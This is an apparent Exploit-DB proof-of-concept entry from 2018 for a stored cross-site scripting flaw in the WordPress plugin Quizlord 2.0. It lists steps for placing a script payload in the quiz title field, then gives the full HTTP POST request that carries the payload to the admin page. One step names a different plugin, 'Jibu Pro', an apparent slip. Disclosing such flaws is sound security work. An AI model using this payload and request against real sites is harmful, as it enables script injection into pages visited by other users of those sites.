33 lines
No EOL
1.5 KiB
Text
33 lines
No EOL
1.5 KiB
Text
# Exploit Title: WordPress Plugin Quizlord 2.0 - Cross-Site Scripting
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# Date: 2018-08-29
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# Exploit Author: Renos Nikolaou
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# Software Link: https://downloads.wordpress.org/plugin/quizlord.zip
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# Version: 2.0
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# Tested on: Kali Linux
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# CVE: N/A
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# Description : Quizlord is prone to Stored Cross Site Scripting vulnerabilities
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# because it fails to properly sanitize user-supplied input.
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# PoC - Stored XSS - Parameter: title
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# 1) Login as a user who have access to Jibu Pro plugin.
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# 2) Quizlord --> Add a Quiz.
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# 3) At the title type: poc"><script>alert(1)</script> , then fill the remaining fields and click Save.
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# (The first pop-up will appear. Also keep note of the shortcode: [quizlord id="#"])
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# 4) Copy the Shortcode [quizlord id="#"] into any post or page and visit the it via browser.
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# Post Request (Step 3):
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POST /wordpress/wp-admin/admin.php HTTP/1.1
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Host: domain.com
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://domain.com/wordpress/wp-admin/admin.php?page=quizlord
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Cookie: wordpress_295cdc576d46a74a4105db5d33654g45
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Connection: close
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Upgrade-Insecure-Requests: 1
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 188
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action=ql_insert&title=poc"><script>alert(1)</script>&description=&time=0&numbtype=numerical&numbmark=&rightcolor=00FF00&wrongcolor=FF0000&showtype=paginated&addquiz=Save |